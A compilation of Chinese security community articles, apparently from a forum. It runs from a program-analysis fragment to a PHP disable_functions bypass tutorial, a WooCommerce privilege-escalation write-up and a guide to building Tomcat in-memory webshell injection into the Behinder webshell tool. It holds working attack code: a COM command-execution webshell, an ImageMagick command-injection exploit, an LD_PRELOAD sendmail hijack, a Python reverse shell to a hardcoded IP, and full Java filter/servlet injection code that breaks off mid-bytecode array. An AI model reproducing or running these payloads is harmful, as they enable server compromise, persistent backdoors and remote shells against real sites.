接下来，我们来讨论关于上文的方程可计算问题 我们把所有定义的RD exit 和RD entry 作为参数定义一个函数关系 即 将一系列代码执行流程与某个位置的代码入口状况进行映射。 而所有的RD构成一个半序集，也就是说这个函数关系是满足我们刚刚提到的两个半序集的映射的。也就是说每一种执行流程对应不同结果，如果某个执行过程包含于另一个执行过程，那么 那个执行结果一定也包含于另一个执行结果。 所以我们可以做出下面的判断 ：如果 RD exit(2) 包含于 RD’ exit(2) 且 RD exit(5) 包含于 RD’ exit(5) 那么 RD exit(2)∪RD exit(5)包含于RD’ exit(2)∪RD’ exit(5) 也就是说这个函数是单调函数。我们可以列出这样的关系式 F (RD) 包含于 F’ (RD) 并且可以递进 。由于代码执行过程是有限可能的。所以存在某个n 使得F^(n+1) (RD) = F^n (RD)。当n取0时 即 RD = f (RD) 那么RD就是我们所找到的最小的解决方案。 他既包括了最终结果的可能值，也包括了一些不可能值，即 满足代码分析的近似解原则。所以关于上文的方程是可解的。 ## 结语 内容不完善之处请见谅，欢迎各位指点，如有问题可联系我。 _作者：DR[@03](https://github.com/03 "@03")[@XM](https://github.com/XM "@XM")_
社区文章
### 前言 在渗透测试中，会遇到自己有shell，但是不能执行命令不能提权等情况，我就把最近搞战中遇到的突破disable_function的方法（都是一些大佬研究出来，先感谢一波）总结与复现了一下，这些方法面试也经常会问 ### 一.系统组件绕过 window com组件(php 5.4)(高版本扩展要自己添加） 条件：要在php.ini中开启（如图） 利用代码，利用shell上传如下代码到目标服务器上 <?php $command=$_GET['a']; $wsh = new COM('WScript.shell'); // 生成一个COM对象　Shell.Application也能 $exec = $wsh->exec("cmd /c ".$command); //调用对象方法来执行命令 $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?> 利用成功后的结果 #### 二.利用ImageMagick漏洞绕过disable_function ImageMagick是一套功能强大、稳定而且开源的工具集和开发包，可以用来读、写和处理超过89种基本格式的图片文件，如果phpinfo中看到有这个，可以尝试如下利用 利用代码如下 <?php echo "Disable Functions: " . ini_get('disable_functions') . "\n"; $command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd']; if ($command == '') { $command = 'id'; } $exploit = <<<EOF push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|$command")' pop graphic-context EOF; file_put_contents("KKKK.mvg", $exploit); $thumb = new Imagick(); $thumb->readImage('KKKK.mvg'); $thumb->writeImage('KKKK.png'); $thumb->clear(); $thumb->destroy(); unlink("KKKK.mvg"); unlink("KKKK.png"); ?> ### 三.利用环境变量LD_PRELOAD来绕过php disable_function执行系统命令 php的mail函数在执行过程中会默认调用系统程序/usr/sbin/sendmail，如果我们能劫持sendmail程序，再用mail函数来触发就能实现我们的目的 #### 利用原理 LD_PRELOAD是Linux系统的下一个有趣的环境变量：“它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量，我们可以在主程序和其动态链接库的中间加载别的动态链接库，甚至覆盖正常的函数库。一方面，我们可以以此功能来使用自己的或是更好的函数（无需别人的源码），而另一方面，我们也可以以向别人的程序注入程序，从而达到特定的目的。 可能这个不好理解，我们做一个简单的测试代码 #include <stdio.h> #include <string.h> int main(int argc, char **argv){ char passwd[] = "password"; if (argc < 2) { printf("usage: %s <password>/n", argv[0]); return 0; } if (!strcmp(passwd, argv[1])) { printf("Correct Password!/n"); return 0; } printf("Invalid Password!/n"); } # 保存为a.c，并编译为a 保存如上代码为a.c，并编译为a,编译命令如下 > gcc a.c -o a 运行a结果如下 以上程序很简单，根据判断传入的字符串是否等于”password”，得出两种不同结果。 其中用到了标准C函数strcmp函数来做比较，这是一个外部调用函数，我们来重新编写一个同名函数,代码如下(保存如下代码为b.c) #include <stdio.h> #include <string.h> int strcmp(const char *s1, const char *s2){ printf("hack functio n invoked. s1=<%s> s2=<%s>/n", s1, s2); return 0; } 我们编译以上代码为一个动态共享库，编译命令如下 > gcc -fPIC -shared b.c -o b.so 通过LD_PRELOAD来设置它能被其他调用它的程序优先加载 > export LD_PRELOAD="./b.so" 我们再次运行a ./a bbb Correct Password! 我们看到随意输入字符串都会显示密码正确，这说明程序在运行时优先加载了我们自己编写的程序。这也就是说如果程序在运行过程中调用了某个标准的动态链接库的函数，那么我们就有机会通过LD_PRELOAD来设置它优先加载我们自己编写的程序，实现劫持。 ##### 结合mail 函数进行实战测试 那么我们来看一下sendmail函数都调用了哪些库函数，使用readelf -Ws /usr/sbin/sendmail命令来查看，我们发现sendmail函数在运行过程动态调用了很多标准库函数： ##### 构造poc思路 编制我们自己的动态链接程序。 通过php的putenv来设置LD_PRELOAD，让我们的程序优先被调用。 在webshell上用mail函数发送一封邮件来触发。具体实现如下 1.编制我们自己的动态链接程序，代码如下（功能是执行mkdir test） 执行编译为一个动态共享库的命令如下 > gcc -c -fPIC a.c -o a > gcc -shared a -o a.so 代码 #include<stdlib.h> #include <stdio.h> #include<string.h> void payload(){ FILE*fp = fopen("/tmp/2.txt","w"); fclose(fp); system("mkdir /var/www/html/test"); } int geteuid(){ FILE *fp1=fopen("/tmp/2.txt","r"); if(fp1!=NULL) { fclose(fp1); return 552; }else { payload(); return 552; } } 2.利用webshell，上传编译后的a.so到目标服务器 3.通过putenv来设置LD_PRELOAD，让我们的程序优先被调用。在webshell上用mail函数发送一封邮件来触发。利用代码如下 <?php putenv("LD_PRELOAD=/var/www/html/a.so"); mail("[email protected]","","","",""); ?> 结果如下，成功执行命令，创建文件test ### 四.利用pcntl_exec突破disable_functions pcntl是linux下的一个扩展，可以支持php的多线程操作。(与python结合反弹shell) pcntl_exec函数的作用是在当前进程空间执行指定程序，版本要求：PHP 4 >= 4.2.0, PHP 5 利用代码如下 <?php pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("132.232.75.90",9898));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?> 曾经就有一个网站是如此拿下的 ### 结尾 其实还有很多方法可以突破disable_function，在这里就不一一列举了，真实环境中遇到disable_function禁用函数的情况还是比较多，希望和一些大佬再聊聊，学更多好思路
社区文章
研究人员发现WordPress处理权限的方式存在漏洞会导致WordPress插件提权。影响主流电子商务插件WooCommerce，安装量超过400万。该漏洞允许店铺管理人员删除服务器端的特定文件，然后获取管理员权限。 # 技术细节 WordPress处理权限的方式是通过分配特定权限给不同角色。如果定义了店铺管理员（shop manager），就分配给edit_users功能，这样就该角色就可以编辑店铺的客户账户了。这一过程在插件的安装过程就执行了。 woocommerce/includes/class-wc-install.php // Shop manager role. add_role( 'shop_manager', // Internal name of the new role 'Shop manager', // The label for displaying array( // Capabilities ⋮ 'read_private_posts' => true, 'edit_users' => true, 'edit_posts' => true, ⋮ ) ); 然后该角色会以WordPress核心设置保持在数据库中。这就是说用户角色是不依赖插件的，即使插件不启用，用户角色也是存在的。 如果有非认证的用户尝试编辑另外一个用户，会调用`current_user_can()`来确保只有有权限的用户才能执行这一动作。 调用 current_user_can()示例： $target_user_id = $_GET['target_user_id']; if(current_user_can('edit_user', $target_user_id)) { edit_user($target_user_id); } 调用的逻辑是“用户是否可以尝试用`ID $target_user_id`来执行编辑特定用户的动作”。 默认情况下编辑用户（`edit_users`）功能只允许有此权限的用户编辑包括管理员在内的任意用户来执行更新密码等操作，商铺管理员就有这样的权限。出于安全考虑，WooCommerce需要指定shop manager可以编辑用户，但只能编辑customer角色的用户。 为了完成这样的功能，WooCommerce这样的插件可以增加`meta`功能。`meta`功能可以以函数的方式应用，然后被`current_user_can()`调用。`meta privilege`函数除了简单返回`true`或`false`外，返回值还会决定当前用户是否可以执行该动作。WooCommerce的`meta privilege`过滤器如下所示： Meta功能示例： function disallow_editing_of_admins( $capability, $target_user_id ) { // If the user is an admin return false and disallow the action if($capability == "edit_user" && user_is_admin($target_user_id)) { return false; } else { return true; } } add_filter( 'map_meta_cap', 'disallow_editing_of_admins'); 当`current_user_can(‘edit_user’, 1)`被调用时，过滤器就会执行来决定`ID 1 ($target_user_id)`的用户是否是admin，如果是不允许编辑并返回`false`，否则允许用户继续。WooCommerce更复杂和真实的`meta cap hook`保存在`woocommerce/includes/wc-user-functions.php`的第`408`行。 ## 设计漏洞 过滤器工作时，只有插件启用时才执行。问题是用户角色保存在数据库中，即使插件禁用了用户角色也存在。也就是说如果WooCommerce被禁用了，限制shop manager编辑管理员的`meta`权限检查就不会执行了，但默认允许有`edit_users`的用户来编辑任意用户的情况就发生了。因此，shop manager可以更新管理员账户的密码然后获取站点的控制权。 ## 禁用插件 默认情况下，只有管理员可以禁用插件。但RIPS检测到WooCommerce存在任意文件删除漏洞，漏洞允许shop manager删除可写服务器上的任意文件。通过删除WooCommerce的主文件`woocommerce.php`，WordPress就不能加载该插件了。 文件删除漏洞存在于WooCommerce的登录特征中。日志以`.log`文件形式保存在`wp-content`目录下。当shop manager想要删除日志文件，就以GET参数的方式提交文件名。 woocommerce/includes/admin/class-wc-admin-status.php class WC_Admin_Status { public static function remove_log() { ⋮ $log_handler = new WC_Log_Handler_File(); $log_handler->remove(wp_unslash($_REQUEST['handle'])); } woocommerce/includes/log-handlers/class-wc-log-handler-file.php class WC_Log_Handler_File extends WC_Log_Handler { public function remove($handle) { ⋮ $file = trailingslashit(WC_LOG_DIR) . $handle; ⋮ unlink($file); `filename ($handle)`是加在日志目录`wp-content/wc-logs/`之后的，然后传递给`unlink()`。在设置`$handle../../plugins/woocommerce-3.4.5/woocommerce.php`时，文件`wp-content/wc-logs/../../plugins/woocommerce-3.4.5/woocommerce.php`会被删除，导致WooCommerce被禁用。 ## POC POC视频： <https://blog.ripstech.com/videos/wordpress-design-flaw.mp4> # 影响 研究人员检测并报告了的文件删除漏洞，该漏洞在`3.4.6`版本中进行了修复。任意文件删除漏洞在大多数情况下并不任务是一个高危漏洞，因为攻击者删除网站的`index.php`文件只会导致DOS漏洞。 # 总结 本文描述了如何在WordPress网站中删除特定插件文件可以禁用安全检查，并导致整个站点被接管。其根源在于WordPress网站权限系统的设计漏洞，受影响的用户超过400万WooCommerce商铺。在攻击过程中，攻击者唯一需要做的就是控制shop manager用户角色。而shop manager是负责管理订单、商品和客户的雇员。可以通过XSS漏洞或钓鱼攻击的形式获取访问权限，如果漏洞被攻击者利用，shop manager就可以接管管理员账户并执行任意代码。 <https://blog.ripstech.com/2018/wordpress-design-flaw-leads-to-woocommerce-rce/>
社区文章
**作者：Skay @ QAX A-TEAM 原文链接：<https://mp.weixin.qq.com/s/eI-50-_W89eN8tsKi-5j4g>** 在冰蝎原代码基础上，增加了内存马注入的支持。 这里我们只讨论以JSP方式注入内存马，不涉及与反序列化漏洞利用结合。 # 一、冰蝎源码简析及修改(JSP相关) ## 1.冰蝎JSP Webshell 工作原理 冰蝎利用动态二进制加密实现新型一句话木马的思路很好的解决了菜刀等webshell工具被查杀的问题。首先我们看下服务端 <%@page?import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%> <%!class?U?extends?ClassLoader{ ????U(ClassLoader?c){super(c); ????} ????public?Class?g(byte?[]b){ ????????return?super.defineClass(b,0,b.length); ????} }%> <%if?(request.getMethod().equals("POST")){ ????String?k="1a1dc91c907325c6";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/ session.putValue("u",k); ????Cipher?c=Cipher.getInstance("AES"); ????c.init(2,new?SecretKeySpec(k.getBytes(),"AES")); ????new?U(this.getClass().getClassLoader()).g(c.doFinal(new?sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext); }%> 第一段代码块创建了U类继承 ClassLoader ，然后自定义一个名为 g 的方法，接收字节数组类型的参数并调用父类的 defineClass 动态解析字节码返回 Class 对象，然后实例化该类并调用 **equals** 方法，传入 jsp 上下文中的 **pageContext 对象** 。其中 bytecode 就是由冰蝎客户端发送至服务端的字节码，获取到客户端发来的请求后，获取post的值，先解密，然后base64解码，获取一段byte[]，然后调用difineClass，获取到一个Class，将其newInstance后，获取到类，该类中重写了 equals 方法，equals方法只接受一个参数，也就是pageContext，其实这也够了，只要传递pageContext进去，便可以间接获取Request、Response、Seesion等对象，如HttpServletRequest request=(HttpServletRequest) pageContext.getRequest();最后进行结果的返回。 ## 2.冰蝎源码简要分析(JSP) 我们的目的是实现JSP版本的内存马注入，所以源码我们也只看，JSP相关部分。 ### (1) 目录结构 首先对目录有个概览 第一次接触冰蝎源码，是之前一次尝试去除2.0版本的特征，密钥交换步骤，去除冰蝎密钥交换步骤很简单，修改Utils getKeyAndCooiek方法，暴力一点，直接注释掉，将交换密钥写死在shell里?。 接下来将关注点回到3.0，上面分析JSP Webshell提到客户端会发给服务端一个加密后的数据，服务端解密后，得到一段byte[] 数据，再调用defineClass会得到一个Class，这个Class，我们是可以在冰蝎源码里找到的，在payload/java文件夹下 当冰蝎shell建立连接后，攻击者调用不同的功能时，每个功能与上面的文件一一对应，其实这么说不严谨，建立连接时，也会调用Echo.java 以及 BasicInfo.java ### (2) shell连接流程 我们来跟下建立连接的流程 首先是入口net.rebeyond.behinder.ui.controller.MainWindowController， 跟进doConnect:184, ShellService，可以看到首先判断shell的连接类型，我们这里是Jsp， 在这段代码中可以看到，是通过调用echo方法来检测连接是否成功建立 obj = this.echo(content); if (obj.getString("msg").equals(content)) { result = true; } 我们跟进this.echo方法 echo:964, ShellService echo方法很好的举例说明了，冰蝎内部是怎样将payload代码进编译成class文件，然后加密，发送到服务端进行动态执行。 echo方法执行完毕程序逻辑又回到doConnect:186, ShellService，可以看到返回true，说明连接成功，这里说明一点，如果连接不成功，冰蝎会进入2.0版本的常规密钥协商流程，这也算是对2.0的一个兼容吧。 doConnect方法执行结束后，回到lambda$1:110, MainWindowController 调用getBasicInfo，获取基本信息，对应在payload里面就是BasicInfo.java文件 getBascicInfo后，初始化各个功能，初始连接过程结束 到此简历连接完毕 ### (3) 冰蝎动态编译成字节码实现原理 冰蝎客户端是将java代码动态编译成字节码，然后加密发送给服务端，以BasicInfo.java 为例 // // Source code recreated from a .class file by IntelliJ IDEA // (powered by Fernflower decompiler) // package net.rebeyond.behinder.payload.java; public class BasicInfo { public static String whatever; public BasicInfo() { } public boolean equals(Object obj) { PageContext page = (PageContext)obj; page.getResponse().setCharacterEncoding("UTF-8"); String result = ""; try { ........ } catch (Exception var15) { var15.printStackTrace(); } return true; } public static byte[] Encrypt(byte[] bs, String key) throws Exception { .... return encrypted; } private String buildJson(Map<String, String> entity, boolean encode) throws Exception { ....... return sb.toString(); } } BasicInfo中存在public static变量，客户端动态构造服务端执行的代码时传进去的，通过params参数传递 public String getBasicInfo(String whatever) throws Exception { String result = ""; Map<String, String> params = new LinkedHashMap(); params.put("whatever", whatever); byte[] data = Utils.getData(this.currentKey, this.encryptType, "BasicInfo", params, this.currentType); Map<String, Object> resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex); byte[] resData = (byte[])((byte[])resultObj.get("data")); try { result = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType)); return result; } catch (Exception var8) { var8.printStackTrace(); throw new Exception("请求失败:" + new String(resData, "UTF-8")); } } 对应上文JSP Webshell工作原理的分析,客户端动态构造完毕java代码后，将Java代码，也就是整个BasicInfo类编译为字节码加密发送给服务端。服务端通过defineClass->newInstance获取到BasicInfo对象，调用BasicInfo的equal方法，将参数obj，也就是PageContext传进去，这样就可以获取request Resopose Session等对象，然后进一步执行equal中的代码逻辑，将执行结果写入response，并加密返回给客户端。 ## 3.修改 逻辑原理分析完毕，总结一句话就是冰蝎的服务端提供了一个执行任意java代码的环境。所以修改方式就是将我们内存马注入的逻辑代码直接发送给服务端即可，也就是放到equal方法中。 注入内存马属于给冰蝎增加了一个功能，分为三步实现需求 * 新增功能后修改UI部分 * 跟进冰蝎内部功能调用代码，调用我们新增功能 * 更改equal方法实现内存马注入 ### (1) 新增功能后修改UI部分 冰蝎各个功能的初始化是在net.rebeyond.behinder.ui.controller.MainWindowController中，这里我为了不整个修改fxml文件，直接将平行空间功能修改为内存马注入 然后用idea自带的ui编辑器拖拽绘图既可 ### (2) 调用新增功能 先来跟下冰蝎调用功能时的调用栈...好短 lambda$1:64, ParallelViewController (net.rebeyond.behinder.ui.controller) run:-1, 392926346 (net.rebeyond.behinder.ui.controller.ParallelViewController$$Lambda$595) run:745, Thread (java.lang) 其实，冰蝎几乎将所有的功能模块准备都放在了初始化当中 我们只需要修改ParallelViewController，将按钮监听事件(注入内存马按钮）在初始化时启动监听即可。 现在，成功监听了按钮事件，如何控制当前连接的shell，注意一个变量this.currentShellService，它代表了当前的shell连接 即ShellService类，我们只需在ShellService中新建方法getInjectwebshell即可， 并将内存马的密码及路径参数传进去，供冰蝎动态构造需要在服务端执行的java代码 最后就是调用payload/java 目录下的具体功能了，我们需要在payload目录下新建相应的功能文件Injectwebshell_tomcat，然后冰蝎编译，加密发送到服务端。 getInjectwebshell关键代码 byte[] data = Utils.getData(this.currentKey, this.encryptType, "Injectwebshell_tomcat_skay", params, this.currentType); Map<String, Object> resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex); ### (3) 更改equal方法实现内存马注入 最后就是实现我们Injectwebshell_tomcat，跟其它功能文件相同，只需将代码注入逻辑放在equals方法中即可，具体代码注入逻辑根据中间件不同，实现逻辑也有区别 ### PS：内存马的连接 内存马注入成功后，最好是使用原来的冰蝎是可以连接的，其实就是把原冰蝎的JSP服务端修改成java逻辑，放在目标服务器内存中运行即可。因为Tomcat、Weblogic都是通过动态注册Filter方式实现内存马注入，所以最终冰蝎服务端逻辑将在Filter中的doFilter方法中。 为了区别与普通JSP Webshell，动态注入的内存马将不再调用equal方法，修改为fuck方法 同时，客户端各个功能也需要相应增加fuck方法的实现逻辑 # 二、Tomcat 内存马注入 根据网上公开的思路，Tomcat内存马注入有两种思路，动态注册Servlet，动态注册Filter，在这里我们只讨论Filter方式注入内存马。 ## 1.分析环境准备 参考链接<https://mp.weixin.qq.com/s/DMVcqtiNG9gMdrBUyCRCgw> ## 2.Tomcat Filter流程分析 ### (1) Filter简介 Filter 程序是一个实现了 Filter 接口的 Java 类，与 Servlet 程序相似，它由 Servlet容器进行调用和执行。这个 Servlet 过滤器就是我们的 filter，当在 web.xml 中注册了一个 Filter 来对某个 Servlet 程序进行拦截处理时，这个Filter 就成了 Tomcat 与该 Servlet 程序的通信线路上的一道关卡，该 Filter 可以对Servlet 容器发送给 Servlet 程序的请求和 Servlet 程序回送给 Servlet 容器的响应进行拦截，可以决定是否将请求继续传递给 Servlet 程序，以及对请求和相应信息是否进行修改。 ### (2) Tomcat filter?源码分析 分析之前列出组装过滤器时涉及到的几个核心类及其功能 * **Filter** 过滤器接口一个 Filter 程序就是一个 Java 类，这个类必须实现 Filter 接口。javax.servlet.Filter 接口中定义了三个方法：init(Web 容器创建 Filter 的实例对象后，将立即调用该 Filter 对象的 init 方法)、doFilter(当一个 Filter 对象能够拦截访问请求时，Servlet 容器将调用 Filter 对象的 doFilter 方法)、destory(该方法在 Web 容器卸载 Filter 对象之前被调用)。 * **FilterChain** 过滤器链 FilterChain 对象中有一个 doFilter() 方法，该方法的作用是让 Filter 链上的当前过滤器放行，使请求进入下一个 Filter.Filter和FilterChain密不可分, Filter可以实现依次调用正是因为有了FilterChain * **FilterConfig** 过滤器的配置,与普通的 Servlet 程序一样，Filter 程序也很可能需要访问 Servlet 容器。Servlet 规范将代表 ServletContext 对象和 Filter 的配置参数信息都封装到一个称为 FilterConfig 的对象中。FilterConfig 接口则用于定义 FilterConfig 对象应该对外提供的方法，以便在 Filter 程序中可以调用这些方法来获取 ServletContext 对象，以及获取在 web.xml 文件中为 Filter 设置的友好名称和初始化参数。 * **FilterDef** 过滤器的配置和描述 * **ApplicationFilterChain** 调用过滤器链 * **ApplicationFilterConfig** 获取过滤器 * **ApplicationFilterFactory** 组装过滤器链 还有几个比较重要的类 * **WebXml** 从名字我们可以就看出来这个一个存放web.xml中内容的类 * **ContextConfig** 一个web应用的上下文配置类 * **StandardContext** 一个web应用上下文(Context接口)的标准实现 * **StandardWrapperValve** 一个标准Wrapper的实现。一个上下文一般包括一个或者多个包装器，每一个包装器表示一个servlet。 Filter的配置在web.xml中，Tomcat会首先通过ContextConfig创建WebXML的实例来解析web.xml,先跳过这个部分，直接将关注点放在StandardWrapperValve，在这里会进行过滤器的组装操作。 首先，创建了一个应用过滤器链 我们跟进这个方法，整个应用过滤器链条的组装过程清晰的展现在面前，最终将filterChain返回 filterMaps是filtermap的数组，我们观察下filtermap的数据结构 FilterMap存放了Filter的名称和需要拦截的url的正则表达式 继续往下分析代码，遍历FilterMap中每一项，调用matchFiltersURL这个函数，去确定请求的url和Filter中需要拦截的正则表达式是否匹配 如果匹配通过，则通过context.findFilterConfig方法去查找filter对应的名称 继续往下走，我们现在获取到了filterConfig(ApplicationFilterChain)，它的结构如下，里面有filterdef 以及filter对象 最后将filterconfig放到filterChain中，这里再看下filterChain.addFilter(filterConfig);方法 至此，filterChain组装完毕，回到org.apache.catalina.core.StandardWrapperValve，执行doFilter 执行过滤器 我们跟进org.apache.catalina.core.ApplicationFilterChain的doFilter方法中，它其实时调用了internalDoFilter，直接看internalDoFilter Filter结束调用，拉闸~ 最后借用宽字节表哥的一张图做一个总结 ### (3) 实现filter注入 对Tomcat处理filter有了一个清晰的了解之后，现在目的是实现filter动态注入，回忆一下刚才Tomcat处理FIlter的流程，并且关注一下context变量，也就是StandardContext的三个成员变量 StandardContext为web应用上下文变量，其中有三个成员变量和filter相关 * filterConfigs：filterConfig的数组 filterconfig里面有filterdef 以及filter对象 * filterRefs：filterRef的数组 FilterDef的作用主要为描述filter的字符串名称与Filter实例的关系 * filterMaps：filterMap的数组(FilterMap中存放了所有filter相关的信息包括filterName和urlPattern。有了这些之后，使用matchFiltersURL函数将每个filter和当前URL进行匹配，匹配成功的通过) filterConfig我们看过，这里注意，filterConfig.filterRef实际和context.filterRef指向的地址一样，也就是同一个东西 设法修改这三个变量，也许就能实现目的。 查看StandardContext源码， * StandardContext.addFilterDef()可以修改filterRefs * StandardContext.filterStart()函数会根据filterDef重新生成filterConfigs * 至于filtermaps，直接本地new一个filter插入到数组第一位即可 首先是修改filterRefs和filterConfigs Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart"); filterStartMethod.setAccessible(true); filterStartMethod.invoke(standardContext, null); 然后修改filtermaps 还需要注意一点，直接调用addfilter会出现异常，因为对于context对象会做一些校验， if (!context.getState().equals(LifecycleState.STARTING_PREP)) { //TODO Spec breaking enhancement to ignore this restriction throw new IllegalStateException( sm.getString("applicationContext.addFilter.ise", getContextPath())); } 需要修改下状态 Field stateField = org.apache.catalina.util.LifecycleBase.class .getDeclaredField("state"); stateField.setAccessible(true); stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP); addfilter执行完毕后，需要将状态改回来 stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED); #### 1.从pagecontext中获取context 到这里，我们已经成功修改了context对象，最后一个问题，context对象我们怎么获取。 回忆一下，动态注入filter的代码逻辑是冰蝎本地编译号字节码在服务端执行的，也就是equal方法中，equal方法接收一个参数，pagecontext，从这个对象中我们可以成功取到StandardContext对象！ ServletContext servletContext = page.getServletContext(); // System.out.println(servletContext); //获取ApplicationContext Field field = servletContext.getClass().getDeclaredField("context"); field.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext); //获取StandardContext field = applicationContext.getClass().getDeclaredField("context"); field.setAccessible(true); StandardContext standardContext = (StandardContext) field.get(applicationContext); 综上，我们Tomcat 基于JSP方式动态注入filter实现完毕。 集成到冰蝎里inject_tomcat代码如下： **参考了很多哥斯拉的思路 超级感谢北辰师傅** package net.rebeyond.behinder.payload.java; //import com.sun.beans.decoder.FieldElementHandler; import org.apache.catalina.Container; import org.apache.catalina.Wrapper; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext; import sun.misc.Unsafe; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpSession; import javax.servlet.jsp.PageContext; import java.io.IOException; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.ArrayList; public class Injectwebshell_tomcat6 extends ClassLoader implements Servlet { public static String url; public static String password; public static String filtername; private ServletRequest Request; private ServletResponse Response; private HttpSession Session; public Injectwebshell_tomcat6() {} public boolean fuck(String k, ServletRequest request, ServletResponse response, HttpSession session){ // PageContext page = (PageContext)obj; PageContext page = null; this.Session = page.getSession(); this.Response = page.getResponse(); this.Request = page.getRequest(); // System.out.println("ffffffffffffffffffffffffffffffffffffff"); String filterUrlPattern = url; String filterName = filtername; // String pass = password; // System.out.println(url+" "+myfilter_string); // System.out.println(url+" "); try { ServletContext servletContext = page.getServletContext(); // ServletContext servletContext = (ServletContext) field.get(standardContext); // System.out.println("11111"); // System.out.println(servletContext); //获取ApplicationContext Field field = servletContext.getClass().getDeclaredField("context"); field.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext); //获取StandardContext field = applicationContext.getClass().getDeclaredField("context"); field.setAccessible(true); StandardContext standardContext = (StandardContext) field.get(applicationContext); if (standardContext != null) { //修改状态，要不然添加不了 Field stateField = org.apache.catalina.util.LifecycleBase.class .getDeclaredField("state"); stateField.setAccessible(true); stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP); //创建一个自定义的Servlet马 Servlet my_servlet = new Injectwebshell_tomcat6(); //添加Servlet马 standardContext.getClass().getDeclaredMethod("addChild", Container.class).invoke(standardContext,my_servlet); Method method; try { method = standardContext.getClass().getMethod("addServletMappingDecoded", String.class, String.class); }catch (Exception e){ method = standardContext.getClass().getMethod("addServletMapping", String.class, String.class); } method.invoke(standardContext,filterUrlPattern,filterName); // if (getMethodByClass(my_servlet.getClass(),"setServlet",Servlet.class) == null){ // init((ServletConfig)getFieldValue()) // } } } catch (Exception e) { e.printStackTrace(); } return true; } public boolean equals(Object obj) { PageContext page = (PageContext)obj; this.Session = page.getSession(); this.Response = page.getResponse(); this.Request = page.getRequest(); // System.out.println("666666666666666666666666666666666666666666666f"); String filterUrlPattern = url; String filterName = filtername; // String pass = password; // System.out.println(url+" "+myfilter_string); // System.out.println(url+" "); try { ServletContext servletContext = page.getServletContext(); // System.out.println(servletContext); //获取ApplicationContext Field field = servletContext.getClass().getDeclaredField("context"); field.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext); //获取StandardContext field = applicationContext.getClass().getDeclaredField("context"); field.setAccessible(true); StandardContext standardContext = (StandardContext) field.get(applicationContext); if (standardContext != null) { Object o = getFieldValue(standardContext.getServletContext(), "context"); Object newWrapper = this.invoke(standardContext, "createWrapper", (Object[])null); this.invoke(newWrapper, "setName", filterName); setFieldValue(newWrapper, "instance", this); Class containerClass = Class.forName("org.apache.catalina.Container", false, standardContext.getClass().getClassLoader()); Object oldWrapper = this.invoke(standardContext, "findChild", filterName); if (oldWrapper != null) { standardContext.getClass().getDeclaredMethod("removeChild", containerClass); } standardContext.getClass().getDeclaredMethod("addChild", containerClass).invoke(standardContext, newWrapper); Method method; try { method = standardContext.getClass().getMethod("addServletMappingDecoded", String.class, String.class); } catch (Exception var9) { method = standardContext.getClass().getMethod("addServletMapping", String.class, String.class); } method.invoke(standardContext, filterUrlPattern, filterName); if (this.getMethodByClass(newWrapper.getClass(), "setServlet", Servlet.class) == null) { this.transform(standardContext, filterUrlPattern); this.init((ServletConfig)getFieldValue(newWrapper, "facade")); } } } catch (Exception e) { // e.printStackTrace(); } return true; } @Override public void init(ServletConfig servletConfig) throws ServletException { } @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest req, ServletResponse resp) throws ServletException, IOException { // System.out.println("Servlet被执行了....\n"); String k= password; boolean test = false; try{ HttpSession session = ((HttpServletRequest) req).getSession(); session.putValue("u",k); Cipher c = Cipher.getInstance("AES"); c.init(2,new SecretKeySpec(k.getBytes(),"AES")); String reader = req.getReader().readLine(); // System.out.println(reader); // System.out.println("\n\n\n this is reader\n\n"); byte[] evilClassBytes = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(reader)); try { test = null != Class.forName("net.rebeyond.behinder.core.U"); } catch (Throwable t) { test = false; } if (test) { Class Uclass = Class.forName("net.rebeyond.behinder.core.U"); System.out.println(Uclass.getClass()); Constructor tt = Uclass.getDeclaredConstructor(ClassLoader.class); tt.setAccessible(true); Object xx = tt.newInstance(this.getClass().getClassLoader()); Method tt1 = Uclass.getDeclaredMethod("g", byte[].class); tt1.setAccessible(true); Class evilClass = (Class) tt1.invoke(xx, evilClassBytes); Object a = evilClass.newInstance(); Method b = evilClass.getDeclaredMethod("fuck", String.class, ServletRequest.class, ServletResponse.class, HttpSession.class); b.invoke(a, k, req, resp, session); return; }else{ //这里解决了 好开心 byte[] Uclassbate = new byte[] {-54, -2, -70, -66, 0, 0, 0, 51, 0, 26, 10, 0, 4, 0, 20, 10, 0, 4, 0, 21, 7, 0, 22, 7, 0, 23, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 26, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 59, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 